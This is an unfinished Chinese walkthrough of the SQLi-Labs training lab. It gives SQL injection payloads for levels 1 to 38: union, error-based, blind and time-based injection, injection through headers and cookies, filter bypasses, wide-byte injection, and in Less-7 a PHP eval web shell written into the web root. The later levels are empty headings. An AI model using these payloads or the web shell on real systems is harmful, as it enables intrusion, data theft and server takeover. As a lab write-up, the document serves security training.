SQLi-Labs1~65关通关攻略

没弄完,

1~10 GET传输

Less-1 联合查询[ ’ ]

1、判断sql语句中一共返回了多少列

order by 3 --+

对比如下两张图的显示页面。得知有3列
在这里插入图片描述
在这里插入图片描述
2、查看显示位

union select 1,2,3 --+

在这里插入图片描述

可联合查询注入

Less-2 联合查询[ ]

可联合查询注入

Less-3 联合查询[ ') ]

可联合查询注入

Less-4 联合查询[ ") ]

可联合查询注入

Less-5 报错注入[ ’ ]

1、判断是什么类型的注入在这里插入图片描述
2、报错注入可用在这里插入图片描述
报错型注入

Less-6 报错注入[ " ]

报错型注入

Less-7 写入数据[ ')) ]

前提条件:show global variables like '%secure%';
在这里插入图片描述
1、secure_file_priv = null # 表示不允许导入导出
2、secure_file_priv = 路径时 # 表示mysql的导入导出只能发生在指定的文件夹
3、secure_file_priv = # 不给值的时候,则表示没有任何限制

在这里插入图片描述
对比如下的图。
在这里插入图片描述
加单双引号试试返回的页面

在这里插入图片描述
在这里插入图片描述
加**–+**注释掉后面的内容。
在这里插入图片描述
在这里插入图片描述
当拥有写入权限之后

在这里插入图片描述
构造写入一句话

union select 1,2, "<?php @eval($_POST['2233']); ?>" into outfile "c:/phpStudy/PHPTutorial/WWW/yjh.php"--+

在这里插入图片描述

传送门

Less-8 布尔盲注[ ’ ]

优点:不需要显示位,不需要数据库报错信息,
只需要当数据库语句执行时没有结果和正常执行要有区别

缺点:速度慢
在这里插入图片描述
1、判断当前数据库的长度

and length(database()) = 8 --+			# 经过我多次的猜测,得到当前数据库的长度为8

2、猜测当前数据库的库名
经过我多次的猜测,终于确定了这个8位数的数据库名位" security "

and ord((substr(database(),8)))=121 --+			# 经过我多次的猜测,终于确定了这个8位数的数据库名位" security "

盲注太费时间了,效率不高。建议写脚本或者使用sqlmap工具
布尔盲注

Less-9 延迟注入[ ’ ]

优点:不需要显示位,不需要数据库报错信息,
不需要页面有区别

缺点:速度太慢,误差大
在这里插入图片描述
查看源码发现
在这里插入图片描述
通过if(表达式,值1,值2)来判断
1、注入点判断

and sleep(5) --+			# 页面卡住5秒,则说明存在注入点

2、 判断数据库长度

and if(length(database())=8,sleep(5),1) --+			# 表达式为Ture时,页面卡住5秒。否则页面卡住一秒

延迟注入

Less-10 延迟注入[ ” ]

1、注入点判断

and sleep(5) --+			# 页面卡住5秒,则说明注入点正确

2、 判断数据库长度

and if(length(database())=8,sleep(5),1) --+			# 表达式为Ture时,页面卡住5秒。否则页面卡住一秒

延迟注入

11~20 POST传输

Less-11 *联合查询【 ’ 】

POST提交参数
1、注入点判断
在这里插入图片描述
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
2、查看显示位

uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit

在这里插入图片描述

Less-12 联合查询【 ") 】

POST提交参数
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)

Less-13 报错注入【 ') 】

POST提交参数
1、注入点判断
在这里插入图片描述
2、爆数据

uname=账号无所谓') and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=Dumb&submit=Submit	# 爆出当前的数据库

基于post提交数据的报错注入(同GET一样的操作,不一样的位置)

Less-14 报错注入【 " 】

POST提交参数

Less-15 布尔盲注【 ’ 】

POST提交参数
1、根据回显的页面的不同来判断
在这里插入图片描述
在这里插入图片描述
2、操作和GET操作的一样。位置不一样而已
基于post提交数据的布尔盲注(同GET一样的操作,不一样的位置)

Less-16 布尔盲注【 " 】

POST提交参数

Less-17 报错注入【 ’ 】

POST提交参数
在这里插入图片描述

Less-18 http头部报错注入字段【 ’ 】

修改 User-Agen(前提,登录的账号密码要对)
1、通过Bp抓取数据包
在这里插入图片描述
2、爆数据

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1			# 爆出当前数据库

http头部注入

Less-19 http头部报错注入【 ’ 】

修改 Referer 字段
1、通过Bp抓取数据包
http头部注入
2、爆数据

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
http头部注入

Less-20 Cookie注入

报错注入【 ’ 】
1、爆数据
在这里插入图片描述
cookie注入

21~30 过滤&绕过

Less-21 Cookie_Base64 报错注入【 ') 】

1、判断注入点在这里插入图片描述
2、Base64加密
在这里插入图片描述
3、爆数据

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==			# 这个是转成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 这个是没转的

cookie_Base64注入

Less-22 Cookie_Base64注入 报错注入【 " 】

1、判断注入点
在这里插入图片描述
cookie注入

Less-23 过滤【 #、–+ 】

注入点【 ’ 】

绕过:闭合绕过
在这里插入图片描述

1、查看显示位

union select 1,2,'3 

在这里插入图片描述

Less-24 二次注入

1、先创建一个相似的账号在这里插入图片描述
在这里插入图片描述
2、登录创建好的admin’#账号并改此账号的密码
在这里插入图片描述
利用二次注入,就可以随便改密码了
在这里插入图片描述

Less-25 过滤【or、and 】

注入点【 ’ 】

绕过:双写绕过(or=oorr、and=aandnd)
在这里插入图片描述
绕过:运算符绕过(or=||、and=&&)
>

Less-26 过滤【 or、and、/、*、–、#、\s(所有空格)、\】

注入点【 ’ 】

过滤:【 or、and、/、*、–、#、\s(所有空格)、\】
绕过:【利用()来代替空格】
由于PHP版本的问题,一些空格的代替用不了。
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

小知识点:
因为要绕空格,所以 limit 就不能用了,但是报错注入只能爆出32位。
数据多的话,可以使用一个盲注中用过的函数substr(),

?id=1'||updatexml(1,substr(concat(0x7e,(select (group_concat(username)) from (users)),0x7e),1,32),1)||'1

Less-27 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】

注入点【 ’ 】

过滤:【 /*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
绕过:PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
在这里插入图片描述

Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】

注入点【 ') 】

过滤:【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
绕过:PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
在这里插入图片描述
成功绕过?
在这里插入图片描述

Less-29 过滤【不知道】

注入点【 ’ 】

?id=1&id=2' and extractvalue(1,concat('^',database(),'^')) %23

Less-30

31~40

Less-31

Less-32

宽字节注入
在这里插入图片描述

加了%df后最终的语句就是
?id=1運‘ =union select 1,2,3 --+
在这里插入图片描述

Less-33

Less-34

Less-35

Less-36

Less-37

Less-38

堆叠注入[ ’ ]
个人理解:相等于用sql命令在操作数据库
在这里插入图片描述
在这里插入图片描述
堆叠注入

Less-39

Less-40

41~50

Less-41

Less-42

Less-43

Less-44

Less-45

Less-46

Less-47

Less-48

Less-49

Less-50

51~60

Less-51

Less-52

Less-53

Less-54

Less-55

Less-56

Less-57

Less-58

Less-59

Less-60

61~65

Less-61

Less-62

Less-63

Less-64

Less-65


版权声明:本文为ga421739102原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。